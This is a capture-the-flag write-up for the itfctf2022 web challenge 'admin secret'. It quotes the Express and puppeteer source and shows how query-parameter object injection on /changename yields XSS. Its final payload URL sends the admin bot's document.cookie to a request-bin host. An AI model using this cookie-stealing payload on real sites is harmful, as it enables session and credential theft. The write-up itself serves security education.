---
tags: writeup, itfctf2022, web
---
# Writeup - admin secret
## Challenge
Author: Lukasz
My friend made a website, he want me to hack the website and get the flag hes been hiding somewhere, can you help me to hack his website?
You can find the flag in localhost.
http://15.235.143.42:23320/
source: src.zip
## Solution
### Getting Info
Visiting the site I am presented with a rather simple cookie clicker. There's also an input field for submitting feedback.
Opening developer tools I see that there are two cookies: name and count.
Let's look at the source code. The challenge consists of 2 js files: `app.js` - the main file and `robot.js`
First, lets look at `app.js`:
There are 3 endpoints `/`, `/report`,`/changename` of which the `/` and `/changename` are the important ones.
```javascript
app.get('/', (req, res) => {
if (req.cookies.name) {
let final = {};
if (typeof (req.cookies.name) === 'object') {
final = req.cookies.name
} else {
final = {
yourname: clean(req.cookies.name),
clickamount: clean(req.cookies.count.toString())
};
}
res.send(template(final.yourname, final.clickamount));
} else {
const initial = 'guest';
res.cookie('name', initial, {
httpOnly: true
});
res.cookie('count', 0, {
httpOnly: false
});
res.redirect('/');
}
});
```
It checks if theres a cookie called `name`. Then it checks if it's an object, if not, then it cleans the cookie values to avoid xss and sends them, but if `name` is an object it gets sent without sanitization. This can leveraged to get self-xss.
If a cookie starts with `j:{...}` then express treats it like an object. In this case to get xss it needs have a key `yourname`. The payload `name=j:{"yourname":"<script>alert(1)</script>"}`
The other important endpoint is `/changename`
```javascript
app.get('/changename', (req, res) => {
res.cookie('name', req.query.newname, {
httpOnly: true
});
res.cookie('count', 0, {
httpOnly: false
});
res.redirect('/');
});
```
This endpoint can be used to change the cookie `name` using a get request without any sanitization. This will be used later.
The `/report` endpoint takes the submitted feedback which should be a url and sends it to the bot to visit.
The `robot.js`:
```javascript!
async function visit(url) {
let browser, page;
return new Promise(async (resolve, reject) => {
try {
browser = await puppeteer.launch({
headless: true,
args: [
'--no-sandbox',
'--disable-default-apps',
'--disable-dev-shm-usage',
'--disable-extensions',
'--disable-gpu',
'--disable-sync',
'--disable-translate',
'--hide-scrollbars',
'--metrics-recording-only',
'--mute-audio',
'--no-first-run',
'--safebrowsing-disable-auto-update'
]
});
page = await browser.newPage();
await page.setCookie({
name: 'secret',
value: FLAG,
domain: 'localhost',
samesite: 'none'
});
await page.goto(url, {waitUntil : 'networkidle2' }).catch(e => console.log(e));
console.log(page.cookies());
await new Promise(resolve => setTimeout(resolve, 500));
console.log("admin is visiting url:");
console.log(url);
await page.close();
console.log("admin visited url");
page = null;
} catch (err){
console.log(err);
} finally {
if (page) await page.close();
console.log("page closed");
if (browser) await browser.close();
console.log("browser closed");
//no reject
resolve();
console.log("resolved");
}
});
};
```
This creates a headless chromium browser which opens the url, but before it does that it creates a cookie called `secret` with the value being the flag, the domain for this cookie is set to localhost, so the cookie can't just be stolen by visiting any site.
### Exploit
The bot cookie can be stolen through protype pollution+xss, by using the `/changename` endpoint in combination with self xss in the cookie `name`
The `/changename` endpoint allowed us to change name, but the cookie has to be an object in order for the xss to work. This can be done using prototype pollution.
By setting the newname like this `?newname[yourname]=...` express will treat newname as an object like this `{yourname:"..."}` which means that we can achieve xss.
The xss payload will be this `<script>window.location="<request_bin_url>?c="+document.cookie` which changes the current url to the request bin with parameter c containing the cookies.
The final payload:
```!
http://localhost:4444/changename?newname[yourname]=<script>window.location="<request_bin_url>?c="%2Bdocument.cookie;</script>
```
Do note that the `+` before document.cookie has to be url encoded otherwise it gets treated as a space.
Now just send the payload in the url form and get the flag!
## Flag
itf{js_pr0t0typ3_and_xss_iz_aw3s0me}
## Thoughts
Overall, I think this is a pretty solid challenge that I really enjoyed solving!